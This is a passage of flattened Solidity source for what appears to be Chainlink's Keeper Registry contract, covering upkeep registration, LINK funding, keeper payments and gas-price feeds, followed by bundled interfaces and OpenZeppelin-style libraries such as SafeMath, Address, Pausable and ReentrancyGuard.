* being reimbursed for gas, measured in parts per billion * @param blockCountPerTurn number of blocks each oracle has during their turn to * perform upkeep before it will be the next keeper's turn to submit * @param checkGasLimit gas limit when checking for upkeep * @param stalenessSeconds number of seconds that is allowed for feed data to * be stale before switching to the fallback pricing * @param gasCeilingMultiplier multiplier to apply to the fast gas feed price * when calculating the payment ceiling for keepers * @param fallbackGasPrice gas price used if the gas price feed is stale * @param fallbackLinkPrice LINK price used if the LINK price feed is stale */ constructor( address link, address linkEthFeed, address fastGasFeed, uint32 paymentPremiumPPB, uint24 blockCountPerTurn, uint32 checkGasLimit, uint24 stalenessSeconds, uint16 gasCeilingMultiplier, int256 fallbackGasPrice, int256 fallbackLinkPrice ) { LINK = LinkTokenInterface(link); LINK_ETH_FEED = AggregatorV3Interface(linkEthFeed); FAST_GAS_FEED = AggregatorV3Interface(fastGasFeed); setConfig( paymentPremiumPPB, blockCountPerTurn, checkGasLimit, stalenessSeconds, gasCeilingMultiplier, fallbackGasPrice, fallbackLinkPrice ); } // ACTIONS /** * @notice adds a new upkeep * @param target address to peform upkeep on * @param gasLimit amount of gas to provide the target contract when * performing upkeep * @param admin address to cancel upkeep and withdraw remaining funds * @param checkData data passed to the contract when checking for upkeep */ function registerUpkeep( address target, uint32 gasLimit, address admin, bytes calldata checkData ) external override onlyOwnerOrRegistrar() returns ( uint256 id ) { require(target.isContract(), "target is not a contract"); require(gasLimit >= CALL_GAS_MIN, "min gas is 2300"); require(gasLimit <= CALL_GAS_MAX, "max gas is 2500000"); id = s_upkeepCount; s_upkeep[id] = Upkeep({ target: target, executeGas: gasLimit, balance: 0, admin: admin, maxValidBlocknumber: UINT64_MAX, lastKeeper: address(0) }); s_checkData[id] = checkData; s_upkeepCount++; emit UpkeepRegistered(id, gasLimit, admin); return id; } /** * @notice simulated by keepers via eth_call to see if the upkeep needs to be * performed. If it does need to be performed then the call simulates the * transaction performing upkeep to make sure it succeeds. It then eturns the * success status along with payment information and the perform data payload. * @param id identifier of the upkeep to check * @param from the address to simulate performing the upkeep from */ function checkUpkeep( uint256 id, address from ) external override whenNotPaused() cannotExecute() returns ( bytes memory performData, uint256 maxLinkPayment, uint256 gasLimit, int256 gasWei, int256 linkEth ) { Upkeep storage upkeep = s_upkeep[id]; gasLimit = upkeep.executeGas; (gasWei, linkEth) = getFeedData(); maxLinkPayment = calculatePaymentAmount(gasLimit, gasWei, linkEth); require(maxLinkPayment < upkeep.balance, "insufficient funds"); bytes memory callData = abi.encodeWithSelector(CHECK_SELECTOR, s_checkData[id]); ( bool success, bytes memory result ) = upkeep.target.call{gas: s_config.checkGasLimit}(callData); require(success, "call to check target failed"); ( success, performData ) = abi.decode(result, (bool, bytes)); require(success, "upkeep not needed"); success = performUpkeepWithParams(PerformParams({ from: from, id: id, performData: performData })); require(success, "call to perform upkeep failed"); return (performData, maxLinkPayment, gasLimit, gasWei, linkEth); } /** * @notice executes the upkeep with the perform data returned from * checkUpkeep, validates the keeper's permissions, and pays the keeper. * @param id identifier of the upkeep to execute the data with. * @param performData calldata paramter to be passed to the target upkeep. */ function performUpkeep( uint256 id, bytes calldata performData ) external override returns ( bool success ) { return performUpkeepWithParams(PerformParams({ from: msg.sender, id: id, performData: performData })); } /** * @notice prevent an upkeep from being performed in the future * @param id upkeep to be canceled */ function cancelUpkeep( uint256 id ) external override { uint64 maxValid = s_upkeep[id].maxValidBlocknumber; bool notCanceled = maxValid == UINT64_MAX; bool isOwner = msg.sender == owner; require(notCanceled || (isOwner && maxValid > block.number), "too late to cancel upkeep"); require(isOwner|| msg.sender == s_upkeep[id].admin, "only owner or admin"); uint256 height = block.number; if (!isOwner) { height = height.add(CANCELATION_DELAY); } s_upkeep[id].maxValidBlocknumber = uint64(height); if (notCanceled) { s_canceledUpkeepList.push(id); } emit UpkeepCanceled(id, uint64(height)); } /** * @notice adds LINK funding for an upkeep by tranferring from the sender's * LINK balance * @param id upkeep to fund * @param amount number of LINK to transfer */ function addFunds( uint256 id, uint96 amount ) external override validUpkeep(id) { s_upkeep[id].balance = s_upkeep[id].balance.add(amount); LINK.transferFrom(msg.sender, address(this), amount); emit FundsAdded(id, msg.sender, amount); } /** * @notice uses LINK's transferAndCall to LINK and add funding to an upkeep * @dev safe to cast uint256 to uint96 as total LINK supply is under UINT96MAX * @param sender the account which transferred the funds * @param amount number of LINK transfer */ function onTokenTransfer( address sender, uint256 amount, bytes calldata data ) external { require(msg.sender == address(LINK), "only callable through LINK"); require(data.length == 32, "data must be 32 bytes"); uint256 id = abi.decode(data, (uint256)); validateUpkeep(id); s_upkeep[id].balance = s_upkeep[id].balance.add(uint96(amount)); emit FundsAdded(id, sender, uint96(amount)); } /** * @notice removes funding from a cancelled upkeep * @param id upkeep to withdraw funds from * @param to destination address for sending remaining funds */ function withdrawFunds( uint256 id, address to ) external validateRecipient(to) { require(s_upkeep[id].admin == msg.sender, "only callable by admin"); require(s_upkeep[id].maxValidBlocknumber <= block.number, "upkeep must be canceled"); uint256 amount = s_upkeep[id].balance; s_upkeep[id].balance = 0; emit FundsWithdrawn(id, amount, to); LINK.transfer(to, amount); } /** * @notice recovers LINK funds improperly transfered to the registry * @dev In principle this function’s execution cost could exceed block * gaslimit. However, in our anticipated deployment, the number of upkeeps and * keepers will be low enough to avoid this problem. */ function recoverFunds() external onlyOwner() { uint96 locked = 0; uint256 max = s_upkeepCount; for (uint256 i = 0; i < max; i++) { locked = s_upkeep[i].balance.add(locked); } max = s_keeperList.length; for (uint256 i = 0; i < max; i++) { address addr = s_keeperList[i]; locked = s_keeperInfo[addr].balance.add(locked); } uint256 total = LINK.balanceOf(address(this)); LINK.transfer(msg.sender, total.sub(locked)); } /** * @notice withdraws a keeper's payment, callable only by the keeper's payee * @param from keeper address * @param to address to send the payment to */ function withdrawPayment( address from, address to ) external validateRecipient(to) { KeeperInfo memory keeper = s_keeperInfo[from]; require(keeper.payee == msg.sender, "only callable by payee"); s_keeperInfo[from].balance = 0; emit PaymentWithdrawn(from, keeper.balance, to, msg.sender); LINK.transfer(to, keeper.balance); } /** * @notice proposes the safe transfer of a keeper's payee to another address * @param keeper address of the keeper to transfer payee role * @param proposed address to nominate for next payeeship */ function transferPayeeship( address keeper, address proposed ) external { require(s_keeperInfo[keeper].payee == msg.sender, "only callable by payee"); require(proposed != msg.sender, "cannot transfer to self"); if (s_proposedPayee[keeper] != proposed) { s_proposedPayee[keeper] = proposed; emit PayeeshipTransferRequested(keeper, msg.sender, proposed); } } /** * @notice accepts the safe transfer of payee role for a keeper * @param keeper address to accept the payee role for */ function acceptPayeeship( address keeper ) external { require(s_proposedPayee[keeper] == msg.sender, "only callable by proposed payee"); address past = s_keeperInfo[keeper].payee; s_keeperInfo[keeper].payee = msg.sender; s_proposedPayee[keeper] = ZERO_ADDRESS; emit PayeeshipTransferred(keeper, past, msg.sender); } /** * @notice signals to keepers that they should not perform upkeeps until the * contract has been unpaused */ function pause() external onlyOwner() { _pause(); } /** * @notice signals to keepers that they can perform upkeeps once again after * having been paused */ function unpause() external onlyOwner() { _unpause(); } // SETTERS /** * @notice updates the configuration of the registry * @param paymentPremiumPPB payment premium rate oracles receive on top of * being reimbursed for gas, measured in parts per billion * @param blockCountPerTurn number of blocks an oracle should wait before * checking for upkeep * @param checkGasLimit gas limit when checking for upkeep * @param stalenessSeconds number of seconds that is allowed for feed data to * be stale before switching to the fallback pricing * @param fallbackGasPrice gas price used if the gas price feed is stale * @param fallbackLinkPrice LINK price used if the LINK price feed is stale */ function setConfig( uint32 paymentPremiumPPB, uint24 blockCountPerTurn, uint32 checkGasLimit, uint24 stalenessSeconds, uint16 gasCeilingMultiplier, int256 fallbackGasPrice, int256 fallbackLinkPrice ) onlyOwner() public { s_config = Config({ paymentPremiumPPB: paymentPremiumPPB, blockCountPerTurn: blockCountPerTurn, checkGasLimit: checkGasLimit, stalenessSeconds: stalenessSeconds, gasCeilingMultiplier: gasCeilingMultiplier }); s_fallbackGasPrice = fallbackGasPrice; s_fallbackLinkPrice = fallbackLinkPrice; emit ConfigSet( paymentPremiumPPB, blockCountPerTurn, checkGasLimit, stalenessSeconds, gasCeilingMultiplier, fallbackGasPrice, fallbackLinkPrice ); } /** * @notice update the list of keepers allowed to peform upkeep * @param keepers list of addresses allowed to perform upkeep * @param payees addreses corresponding to keepers who are allowed to * move payments which have been acrued */ function setKeepers( address[] calldata keepers, address[] calldata payees ) external onlyOwner() { for (uint256 i = 0; i < s_keeperList.length; i++) { address keeper = s_keeperList[i]; s_keeperInfo[keeper].active = false; } for (uint256 i = 0; i < keepers.length; i++) { address keeper = keepers[i]; KeeperInfo storage s_keeper = s_keeperInfo[keeper]; address oldPayee = s_keeper.payee; address newPayee = payees[i]; require(oldPayee == ZERO_ADDRESS || oldPayee == newPayee || newPayee == IGNORE_ADDRESS, "cannot change payee"); require(!s_keeper.active, "cannot add keeper twice"); s_keeper.active = true; if (newPayee != IGNORE_ADDRESS) { s_keeper.payee = newPayee; } } s_keeperList = keepers; emit KeepersUpdated(keepers, payees); } /** * @notice update registrar * @param registrar new registrar */ function setRegistrar( address registrar ) external onlyOwnerOrRegistrar() { address previous = s_registrar; require(registrar != previous, "Same registrar"); s_registrar = registrar; emit RegistrarChanged(previous, registrar); } // GETTERS /** * @notice read all of the details about an upkeep */ function getUpkeep( uint256 id ) external view override returns ( address target, uint32 executeGas, bytes memory checkData, uint96 balance, address lastKeeper, address admin, uint64 maxValidBlocknumber ) { Upkeep memory reg = s_upkeep[id]; return ( reg.target, reg.executeGas, s_checkData[id], reg.balance, reg.lastKeeper, reg.admin, reg.maxValidBlocknumber ); } /** * @notice read the total number of upkeep's registered */ function getUpkeepCount() external view override returns ( uint256 ) { return s_upkeepCount; } /** * @notice read the current list canceled upkeep IDs */ function getCanceledUpkeepList() external view override returns ( uint256[] memory ) { return s_canceledUpkeepList; } /** * @notice read the current list of addresses allowed to perform upkeep */ function getKeeperList() external view override returns ( address[] memory ) { return s_keeperList; } /** * @notice read the current registrar */ function getRegistrar() external view returns ( address ) { return s_registrar; } /** * @notice read the current info about any keeper address */ function getKeeperInfo( address query ) external view override returns ( address payee, bool active, uint96 balance ) { KeeperInfo memory keeper = s_keeperInfo[query]; return (keeper.payee, keeper.active, keeper.balance); } /** * @notice read the current configuration of the registry */ function getConfig() external view override returns ( uint32 paymentPremiumPPB, uint24 blockCountPerTurn, uint32 checkGasLimit, uint24 stalenessSeconds, uint16 gasCeilingMultiplier, int256 fallbackGasPrice, int256 fallbackLinkPrice ) { Config memory config = s_config; return ( config.paymentPremiumPPB, config.blockCountPerTurn, config.checkGasLimit, config.stalenessSeconds, config.gasCeilingMultiplier, s_fallbackGasPrice, s_fallbackLinkPrice ); } // PRIVATE /** * @dev retrieves feed data for fast gas/eth and link/eth prices. if the feed * data is stale it uses the configured fallback price. Once a price is picked * for gas it takes the min of gas price in the transaction or the fast gas * price in order to reduce costs for the upkeep clients. */ function getFeedData() private view returns ( int256 gasWei, int256 linkEth ) { uint32 stalenessSeconds = s_config.stalenessSeconds; bool staleFallback = stalenessSeconds > 0; uint256 timestamp; (,gasWei,,timestamp,) = FAST_GAS_FEED.latestRoundData(); if (staleFallback && stalenessSeconds < block.timestamp - timestamp) { gasWei = s_fallbackGasPrice; } (,linkEth,,timestamp,) = LINK_ETH_FEED.latestRoundData(); if (staleFallback && stalenessSeconds < block.timestamp - timestamp) { linkEth = s_fallbackLinkPrice; } return (gasWei, linkEth); } /** * @dev calculates LINK paid for gas spent plus a configure premium percentage */ function calculatePaymentAmount( uint256 gasLimit, int256 gasWei, int256 linkEth ) private view returns ( uint96 payment ) { uint256 weiForGas = uint256(gasWei).mul(gasLimit.add(REGISTRY_GAS_OVERHEAD)); uint256 premium = PPB_BASE.add(s_config.paymentPremiumPPB); uint256 total = weiForGas.mul(1e9).mul(premium).div(uint256(linkEth)); require(total <= LINK_TOTAL_SUPPLY, "payment greater than all LINK"); return uint96(total); // LINK_TOTAL_SUPPLY < UINT96_MAX } /** * @dev calls target address with exactly gasAmount gas and data as calldata * or reverts if at least gasAmount gas is not available */ function callWithExactGas( uint256 gasAmount, address target, bytes memory data ) private returns ( bool success ) { assembly{ let g := gas() // Compute g -= CUSHION and check for underflow if lt(g, CUSHION) { revert(0, 0) } g := sub(g, CUSHION) // if g - g//64 <= gasAmount, revert // (we subtract g//64 because of EIP-150) if iszero(gt(sub(g, div(g, 64)), gasAmount)) { revert(0, 0) } // solidity calls check that a contract actually exists at the destination, so we do the same if iszero(extcodesize(target)) { revert(0, 0) } // call and return whether we succeeded. ignore return data success := call(gasAmount, target, 0, add(data, 0x20), mload(data), 0, 0) } return success; } /** * @dev calls the Upkeep target with the performData param passed in by the * keeper and the exact gas required by the Upkeep */ function performUpkeepWithParams( PerformParams memory params ) private nonReentrant() validUpkeep(params.id) returns ( bool success ) { require(s_keeperInfo[params.from].active, "only active keepers"); Upkeep memory upkeep = s_upkeep[params.id]; uint256 gasLimit = upkeep.executeGas; (int256 gasWei, int256 linkEth) = getFeedData(); gasWei = adjustGasPrice(gasWei); uint96 payment = calculatePaymentAmount(gasLimit, gasWei, linkEth); require(upkeep.balance >= payment, "insufficient payment"); require(upkeep.lastKeeper != params.from, "keepers must take turns"); uint256 gasUsed = gasleft(); bytes memory callData = abi.encodeWithSelector(PERFORM_SELECTOR, params.performData); success = callWithExactGas(gasLimit, upkeep.target, callData); gasUsed = gasUsed - gasleft(); payment = calculatePaymentAmount(gasUsed, gasWei, linkEth); upkeep.balance = upkeep.balance.sub(payment); upkeep.lastKeeper = params.from; s_upkeep[params.id] = upkeep; uint96 newBalance = s_keeperInfo[params.from].balance.add(payment); s_keeperInfo[params.from].balance = newBalance; emit UpkeepPerformed( params.id, success, params.from, payment, params.performData ); return success; } /** * @dev ensures a upkeep is valid */ function validateUpkeep( uint256 id ) private view { require(s_upkeep[id].maxValidBlocknumber > block.number, "invalid upkeep id"); } /** * @dev adjusts the gas price to min(ceiling, tx.gasprice) */ function adjustGasPrice( int256 gasWei ) private view returns(int256 adjustedPrice) { adjustedPrice = int256(tx.gasprice); int256 ceiling = gasWei.mul(s_config.gasCeilingMultiplier); if(adjustedPrice > ceiling) { adjustedPrice = ceiling; } } // MODIFIERS /** * @dev ensures a upkeep is valid */ modifier validUpkeep( uint256 id ) { validateUpkeep(id); _; } /** * @dev ensures that burns don't accidentally happen by sending to the zero * address */ modifier validateRecipient( address to ) { require(to != address(0), "cannot send to zero address"); _; } /** * @dev Reverts if called by anyone other than the contract owner or registrar. */ modifier onlyOwnerOrRegistrar() { require(msg.sender == owner || msg.sender == s_registrar, "Only callable by owner or registrar"); _; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0; interface AggregatorV3Interface { function decimals() external view returns (uint8); function description() external view returns (string memory); function version() external view returns (uint256); // getRoundData and latestRoundData should both raise "No data present" // if they do not have data to report, instead of returning unset values // which could be misinterpreted as actual reported values. function getRoundData(uint80 _roundId) external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); function latestRoundData() external view returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; interface LinkTokenInterface { function allowance(address owner, address spender) external view returns (uint256 remaining); function approve(address spender, uint256 value) external returns (bool success); function balanceOf(address owner) external view returns (uint256 balance); function decimals() external view returns (uint8 decimalPlaces); function decreaseApproval(address spender, uint256 addedValue) external returns (bool success); function increaseApproval(address spender, uint256 subtractedValue) external; function name() external view returns (string memory tokenName); function symbol() external view returns (string memory tokenSymbol); function totalSupply() external view returns (uint256 totalTokensIssued); function transfer(address to, uint256 value) external returns (bool success); function transferAndCall(address to, uint256 value, bytes calldata data) external returns (bool success); function transferFrom(address from, address to, uint256 value) external returns (bool success); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMathChainlink { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @title The Owned contract * @notice A contract with helpers for basic contract ownership. */ contract Owned { address public owner; address private pendingOwner; event OwnershipTransferRequested( address indexed from, address indexed to ); event OwnershipTransferred( address indexed from, address indexed to ); constructor() { owner = msg.sender; } /** * @dev Allows an owner to begin transferring ownership to a new address, * pending. */ function transferOwnership(address _to) external onlyOwner() { pendingOwner = _to; emit OwnershipTransferRequested(owner, _to); } /** * @dev Allows an ownership transfer to be completed by the recipient. */ function acceptOwnership() external { require(msg.sender == pendingOwner, "Must be proposed owner"); address oldOwner = owner; owner = msg.sender; pendingOwner = address(0); emit OwnershipTransferred(oldOwner, msg.sender); } /** * @dev Reverts if called by anyone other than the contract owner. */ modifier onlyOwner() { require(msg.sender == owner, "Only callable by owner"); _; } } // SPDX-License-Identifier: MIT // github.com/OpenZeppelin/[emailΒ protected] pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // github.com/OpenZeppelin/[emailΒ protected] pragma solidity >=0.6.0 <0.8.0; import "./Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor () { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT // github.com/OpenZeppelin/[emailΒ protected] pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @title SignedSafeMath * @dev Signed math operations with safety checks that revert on error. */ library SignedSafeMath { int256 constant private _INT256_MIN = -2**255; /** * @dev Returns the multiplication of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow"); int256 c = a * b; require(c / a == b, "SignedSafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two signed integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0, "SignedSafeMath: division by zero"); require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow"); int256 c = a / b; return c; } /** * @dev Returns the subtraction of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow"); return c; } /** * @dev Returns the addition of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow"); return c; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * This library is a version of Open Zeppelin's SafeMath, modified to support * unsigned 96 bit integers. */ library SafeMath96 { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint96 a, uint96 b) internal pure returns (uint96) { uint96 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint96 a, uint96 b) internal pure returns 